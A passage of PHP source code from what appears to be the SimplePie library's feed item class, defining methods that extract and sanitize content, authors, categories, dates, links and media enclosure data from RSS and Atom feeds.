summaries instead, use {@see get_description} * * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module) * * @since 1.0 * @param boolean $content_only Should we avoid falling back to the description? * @return string|null */ public function get_content($content_only = false) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif (!$content_only) { return $this->get_description(true); } else { return null; } } /** * Get a category for the item * * @since Beta 3 (previously called `get_categories()` since Beta 2) * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } /** * Get all categories for the item * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Beta 3 * @return array|null List of {@see SimplePie_Category} objects */ public function get_categories() { $categories = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } else { return null; } } /** * Get an author for the item * * @since Beta 2 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } else { return null; } } /** * Get a contributor for the item * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } else { return null; } } /** * Get all contributors for the item * * Uses `<atom:contributor>` * * @since 1.1 * @return array|null List of {@see SimplePie_Author} objects */ public function get_contributors() { $contributors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } else { return null; } } /** * Get all authors for the item * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since Beta 2 * @return array|null List of {@see SimplePie_Author} objects */ public function get_authors() { $authors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author')) { $authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) { return $authors; } elseif ($authors = $this->feed->get_authors()) { return $authors; } else { return null; } } /** * Get the copyright info for the item * * Uses `<atom:rights>` or `<dc:rights>` * * @since 1.1 * @return string */ public function get_copyright() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get the posting date/time for the item * * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`, * `<atom:modified>`, `<pubDate>` or `<dc:date>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @since Beta 2 (previously called `get_item_date` since 0.8) * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['date'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } if (!empty($this->data['date']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['date'] = null; } } if ($this->data['date']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['date']['parsed']; default: return date($date_format, $this->data['date']['parsed']); } } else { return null; } } /** * Get the update date/time for the item * * Uses `<atom:updated>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_updated_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['updated'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['updated']['raw'] = $return[0]['data']; } if (!empty($this->data['updated']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['updated']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['updated'] = null; } } if ($this->data['updated']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['updated']['parsed']; default: return date($date_format, $this->data['updated']['parsed']); } } else { return null; } } /** * Get the localized posting date/time for the item * * Returns the date formatted in the localized language. To display in * languages other than the server's default, you need to change the locale * with {@link http://php.net/setlocale setlocale()}. The available * localizations depend on which ones are installed on your web server. * * @since 1.0 * * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data) * @return int|string|null */ public function get_local_date($date_format = '%c') { if (!$date_format) { return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT); } elseif (($date = $this->get_date('U')) !== null && $date !== false) { return strftime($date_format, $date); } else { return null; } } /** * Get the posting date/time for the item (UTC time) * * @see get_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the update date/time for the item (UTC time) * * @see get_updated_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_updated_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_updated_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 0.8 * @return string|null Permalink URL */ public function get_permalink() { $link = $this->get_link(); $enclosure = $this->get_enclosure(0); if ($link !== null) { return $link; } elseif ($enclosure !== null) { return $enclosure->get_link(); } else { return null; } } /** * Get a single link for the item * * @since Beta 3 * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if ($links[$key] !== null) { return $links[$key]; } else { return null; } } /** * Get all links for the item * * Uses `<atom:link>`, `<link>` or `<guid>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the item (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } else { return null; } } /** * Get an enclosure from the item * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * @since Beta 2 * @todo Add ability to prefer one type of content over another (in a media group). * @param int $key The enclosure that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Enclosure|null */ public function get_enclosure($key = 0, $prefer = null) { $enclosures = $this->get_enclosures(); if (isset($enclosures[$key])) { return $enclosures[$key]; } else { return null; } } /** * Get all available enclosures (podcasts, etc.) * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * At this point, we're pretty much assuming that all enclosures for an item * are the same content. Anything else is too complicated to * properly support. * * @since Beta 2 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4). * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists). * @return array|null List of SimplePie_Enclosure items */ public function get_enclosures() { if (!isset($this->data['enclosures'])) { $this->data['enclosures'] = array(); // Elements $captions_parent = null; $categories_parent = null; $copyrights_parent = null; $credits_parent = null; $description_parent = null; $duration_parent = null; $hashes_parent = null; $keywords_parent = null; $player_parent = null; $ratings_parent = null; $restrictions_parent = null; $thumbnails_parent = null; $title_parent = null; // Let's do the channel and item-level ones first, and just re-use them if we need to. $parent = $this->get_feed(); // CAPTIONS if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } if (is_array($captions_parent)) { $captions_parent = array_values(array_unique($captions_parent)); } // CATEGORIES foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category) { $term = null; $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; $label = null; if (isset($category['attribs']['']['text'])) { $label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'])) { foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory) { if (isset($subcategory['attribs']['']['text'])) { $label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } } } if (is_array($categories_parent)) { $categories_parent = array_values(array_unique($categories_parent)); } // COPYRIGHT if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } // CREDITS if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } if (is_array($credits_parent)) { $credits_parent = array_values(array_unique($credits_parent)); } // DESCRIPTION if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // DURATION if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration')) { $seconds = null; $minutes = null; $hours = null; if (isset($duration_parent[0]['data'])) { $temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); if (sizeof($temp) > 0) { $seconds = (int) array_pop($temp); } if (sizeof($temp) > 0) { $minutes = (int) array_pop($temp); $seconds += $minutes * 60; } if (sizeof($temp) > 0) { $hours = (int) array_pop($temp); $seconds += $hours * 3600; } unset($temp); $duration_parent = $seconds; } } // HASHES if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } if (is_array($hashes_parent)) { $hashes_parent = array_values(array_unique($hashes_parent)); } // KEYWORDS if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } if (is_array($keywords_parent)) { $keywords_parent = array_values(array_unique($keywords_parent)); } // PLAYER if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], 